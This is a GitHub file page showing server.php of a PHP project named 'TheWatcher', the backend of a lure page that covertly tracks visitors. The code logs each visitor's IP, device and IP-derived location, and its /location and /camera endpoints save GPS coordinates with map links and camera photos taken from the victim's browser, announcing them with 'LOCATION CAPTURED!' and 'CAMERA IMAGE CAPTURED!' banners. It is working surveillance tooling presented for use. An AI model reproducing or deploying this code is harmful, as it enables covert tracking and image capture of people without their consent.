-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.php
More file actions
313 lines (273 loc) ยท 12.2 KB
/
server.php
File metadata and controls
313 lines (273 loc) ยท 12.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
<?php
/**
* TheWatcher PHP Server - Production Ready
*/
// Create necessary directories
if (!is_dir('data')) mkdir('data', 0755, true);
if (!is_dir('templates')) mkdir('templates', 0755, true);
// Set headers
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
// Handle preflight
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
http_response_code(200);
exit();
}
$request_uri = $_SERVER['REQUEST_URI'];
$request_method = $_SERVER['REQUEST_METHOD'];
$request_uri = strtok($request_uri, '?');
// Get client IP
function getClientIP() {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
if (strpos($ip, ',') !== false) {
$ip = explode(',', $ip)[0];
}
return trim($ip);
}
// Log to STDERR
function logToStderr($type, $data) {
$timestamp = date('Y-m-d H:i:s');
if ($type == 'visit') {
$output = "\n" . str_repeat("โ", 70) . "\n";
$output .= "๐ด NEW VISITOR DETECTED!\n";
$output .= str_repeat("โ", 70) . "\n";
$output .= " ๐
Time: " . $timestamp . "\n";
$output .= " ๐ IP: " . $data['ip'] . "\n";
$output .= " ๐ฑ Device: " . $data['device'] . "\n";
$output .= " ๐ป OS: " . $data['os'] . "\n";
$output .= " ๐ Browser: " . $data['browser'] . "\n";
$output .= " ๐๏ธ City: " . $data['city'] . "\n";
$output .= " ๐บ๐ธ Country: " . $data['country'] . "\n";
$output .= str_repeat("โ", 70) . "\n";
file_put_contents('php://stderr', $output);
}
elseif ($type == 'location') {
$output = "\n" . str_repeat("โ", 70) . "\n";
$output .= "๐ LOCATION CAPTURED!\n";
$output .= str_repeat("โ", 70) . "\n";
$output .= " ๐
Time: " . $timestamp . "\n";
$output .= " ๐ IP: " . $data['ip'] . "\n";
$output .= " ๐ GPS: " . $data['lat'] . ", " . $data['lng'] . "\n";
$output .= " ๐ฏ Accuracy: " . $data['accuracy'] . " meters\n";
$output .= " ๐บ๏ธ Maps: " . $data['maps_url'] . "\n";
$output .= " ๐ฑ Device: " . $data['device'] . "\n";
$output .= " ๐ป OS: " . $data['os'] . "\n";
$output .= " ๐ Browser: " . $data['browser'] . "\n";
$output .= " ๐๏ธ City: " . $data['city'] . "\n";
$output .= " ๐บ๐ธ Country: " . $data['country'] . "\n";
$output .= " ๐พ Saved: " . $data['file'] . "\n";
$output .= str_repeat("โ", 70) . "\n";
file_put_contents('php://stderr', $output);
}
elseif ($type == 'camera') {
$output = "\n" . str_repeat("โ", 70) . "\n";
$output .= "๐ธ CAMERA IMAGE CAPTURED!\n";
$output .= str_repeat("โ", 70) . "\n";
$output .= " ๐
Time: " . $timestamp . "\n";
$output .= " ๐ IP: " . $data['ip'] . "\n";
$output .= " ๐ฑ Device: " . $data['device'] . "\n";
$output .= " ๐ป OS: " . $data['os'] . "\n";
$output .= " ๐ Browser: " . $data['browser'] . "\n";
$output .= " ๐๏ธ City: " . $data['city'] . "\n";
$output .= " ๐บ๐ธ Country: " . $data['country'] . "\n";
$output .= " ๐พ Saved: " . $data['file'] . "\n";
$output .= " ๐ธ Size: " . $data['size'] . " KB\n";
$output .= str_repeat("โ", 70) . "\n";
file_put_contents('php://stderr', $output);
}
}
// Parse user agent
function parseUserAgent($ua) {
$ua_lower = strtolower($ua);
$os = 'Unknown';
if (strpos($ua_lower, 'android') !== false) $os = 'Android';
elseif (strpos($ua_lower, 'iphone') !== false) $os = 'iOS';
elseif (strpos($ua_lower, 'ipad') !== false) $os = 'iPadOS';
elseif (strpos($ua_lower, 'windows') !== false) {
if (strpos($ua_lower, 'windows nt 10') !== false) $os = 'Windows 10';
elseif (strpos($ua_lower, 'windows nt 11') !== false) $os = 'Windows 11';
else $os = 'Windows';
}
elseif (strpos($ua_lower, 'mac') !== false) $os = 'macOS';
elseif (strpos($ua_lower, 'linux') !== false) $os = 'Linux';
$browser = 'Unknown';
if (strpos($ua_lower, 'chrome') !== false && strpos($ua_lower, 'edg') === false && strpos($ua_lower, 'opr') === false) $browser = 'Chrome';
elseif (strpos($ua_lower, 'firefox') !== false) $browser = 'Firefox';
elseif (strpos($ua_lower, 'safari') !== false && strpos($ua_lower, 'chrome') === false) $browser = 'Safari';
elseif (strpos($ua_lower, 'edg') !== false) $browser = 'Edge';
elseif (strpos($ua_lower, 'opr') !== false || strpos($ua_lower, 'opera') !== false) $browser = 'Opera';
$device = 'Desktop';
if (strpos($ua_lower, 'mobile') !== false && strpos($ua_lower, 'ipad') === false) $device = 'Mobile Phone';
elseif (strpos($ua_lower, 'tablet') !== false || strpos($ua_lower, 'ipad') !== false) $device = 'Tablet';
$device_model = '';
if ($device == 'Mobile Phone') {
if (strpos($ua_lower, 'iphone') !== false) $device_model = 'iPhone';
elseif (strpos($ua_lower, 'samsung') !== false) $device_model = 'Samsung';
elseif (strpos($ua_lower, 'xiaomi') !== false) $device_model = 'Xiaomi';
elseif (strpos($ua_lower, 'oneplus') !== false) $device_model = 'OnePlus';
elseif (strpos($ua_lower, 'google') !== false) $device_model = 'Pixel';
else $device_model = 'Unknown';
}
return ['os' => $os, 'browser' => $browser, 'device' => $device, 'device_model' => $device_model];
}
// Get geo from IP
function getGeoFromIp($ip) {
if ($ip == '127.0.0.1' || $ip == '::1' || strpos($ip, '192.168.') === 0 || strpos($ip, '10.') === 0 || strpos($ip, '172.') === 0) {
return ['country' => 'Local Network', 'city' => 'Local', 'region' => 'N/A', 'isp' => 'Local', 'flag' => '๐ '];
}
$url = "http://ip-api.com/json/{$ip}";
$response = @file_get_contents($url);
if ($response) {
$data = json_decode($response, true);
if ($data && isset($data['status']) && $data['status'] == 'success') {
$flags = [
'Tanzania' => '๐น๐ฟ', 'United States' => '๐บ๐ธ', 'United Kingdom' => '๐ฌ๐ง',
'Germany' => '๐ฉ๐ช', 'France' => '๐ซ๐ท', 'Italy' => '๐ฎ๐น', 'Spain' => '๐ช๐ธ',
'Brazil' => '๐ง๐ท', 'India' => '๐ฎ๐ณ', 'China' => '๐จ๐ณ', 'Japan' => '๐ฏ๐ต',
'South Korea' => '๐ฐ๐ท', 'Russia' => '๐ท๐บ', 'Australia' => '๐ฆ๐บ', 'Canada' => '๐จ๐ฆ',
'Mexico' => '๐ฒ๐ฝ', 'Netherlands' => '๐ณ๐ฑ', 'Sweden' => '๐ธ๐ช', 'Norway' => '๐ณ๐ด'
];
$country = $data['country'] ?? 'Unknown';
$flag = $flags[$country] ?? '๐';
return [
'country' => $country,
'city' => $data['city'] ?? 'Unknown',
'region' => $data['regionName'] ?? 'Unknown',
'isp' => $data['isp'] ?? 'Unknown',
'flag' => $flag
];
}
}
return ['country' => 'Unknown', 'city' => 'Unknown', 'region' => 'Unknown', 'isp' => 'Unknown', 'flag' => '๐'];
}
// Serve the main template
if ($request_uri == '/' && file_exists('templates/current.html')) {
$ip = getClientIP();
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$device_info = parseUserAgent($user_agent);
$geo_info = getGeoFromIp($ip);
$device_string = $device_info['device'];
if ($device_info['device_model'] && $device_info['device'] == 'Mobile Phone') {
$device_string = $device_info['device_model'] . ' ' . $device_info['device'];
}
logToStderr('visit', [
'ip' => $ip,
'device' => $device_string,
'os' => $device_info['os'],
'browser' => $device_info['browser'],
'city' => $geo_info['city'],
'country' => $geo_info['flag'] . ' ' . $geo_info['country']
]);
header('Content-Type: text/html; charset=utf-8');
readfile('templates/current.html');
exit();
}
// Handle location endpoint
if ($request_uri == '/location' && $request_method == 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if ($data) {
$ip = getClientIP();
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$device_info = parseUserAgent($user_agent);
$geo_info = getGeoFromIp($ip);
$filename = 'data/location_' . time() . '.json';
$lat = $data['lat'] ?? null;
$lng = $data['lng'] ?? null;
$maps_url = ($lat && $lng) ? "https://www.google.com/maps?q={$lat},{$lng}" : '';
$result = [
'timestamp' => date('Y-m-d H:i:s'),
'ip_address' => $ip,
'coordinates' => [
'latitude' => $lat,
'longitude' => $lng,
'accuracy' => $data['acc'] ?? 0,
'google_maps_url' => $maps_url
],
'device' => $device_info,
'network' => $geo_info,
'user_agent' => $user_agent
];
file_put_contents($filename, json_encode($result, JSON_PRETTY_PRINT));
$device_string = $device_info['device'];
if ($device_info['device_model'] && $device_info['device'] == 'Mobile Phone') {
$device_string = $device_info['device_model'] . ' ' . $device_info['device'];
}
logToStderr('location', [
'ip' => $ip,
'lat' => $lat ?? 'N/A',
'lng' => $lng ?? 'N/A',
'accuracy' => $data['acc'] ?? 0,
'maps_url' => $maps_url,
'device' => $device_string,
'os' => $device_info['os'],
'browser' => $device_info['browser'],
'city' => $geo_info['city'],
'country' => $geo_info['flag'] . ' ' . $geo_info['country'],
'file' => $filename
]);
header('Content-Type: application/json');
echo json_encode(['status' => 'ok', 'file' => $filename]);
exit();
}
http_response_code(400);
echo json_encode(['error' => 'Invalid data']);
exit();
}
// Handle camera endpoint
if ($request_uri == '/camera' && $request_method == 'POST') {
if (isset($_FILES['image']) && $_FILES['image']['error'] == UPLOAD_ERR_OK) {
$filename = 'data/camera_' . time() . '.jpg';
move_uploaded_file($_FILES['image']['tmp_name'], $filename);
$ip = getClientIP();
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$device_info = parseUserAgent($user_agent);
$geo_info = getGeoFromIp($ip);
$file_size = round(filesize($filename) / 1024);
$device_string = $device_info['device'];
if ($device_info['device_model'] && $device_info['device'] == 'Mobile Phone') {
$device_string = $device_info['device_model'] . ' ' . $device_info['device'];
}
logToStderr('camera', [
'ip' => $ip,
'device' => $device_string,
'os' => $device_info['os'],
'browser' => $device_info['browser'],
'city' => $geo_info['city'],
'country' => $geo_info['flag'] . ' ' . $geo_info['country'],
'file' => $filename,
'size' => $file_size
]);
header('Content-Type: application/json');
echo json_encode(['status' => 'ok', 'file' => $filename]);
exit();
}
http_response_code(400);
echo json_encode(['error' => 'No image uploaded']);
exit();
}
// Serve static files (videos, images)
if (preg_match('/\.(mp4|webm|mov|jpg|jpeg|png|gif)$/i', $request_uri) && file_exists('.' . $request_uri)) {
$file = '.' . $request_uri;
$mime = mime_content_type($file);
header('Content-Type: ' . $mime);
header('Content-Length: ' . filesize($file));
header('Cache-Control: no-cache');
readfile($file);
exit();
}
// Favicon
if ($request_uri == '/favicon.ico') {
http_response_code(204);
exit();
}
// Default
if (file_exists('templates/current.html')) {
header('Content-Type: text/html; charset=utf-8');
readfile('templates/current.html');
} else {
echo "TheWatcher v2.0 - Ready\n";
}
exit();
?>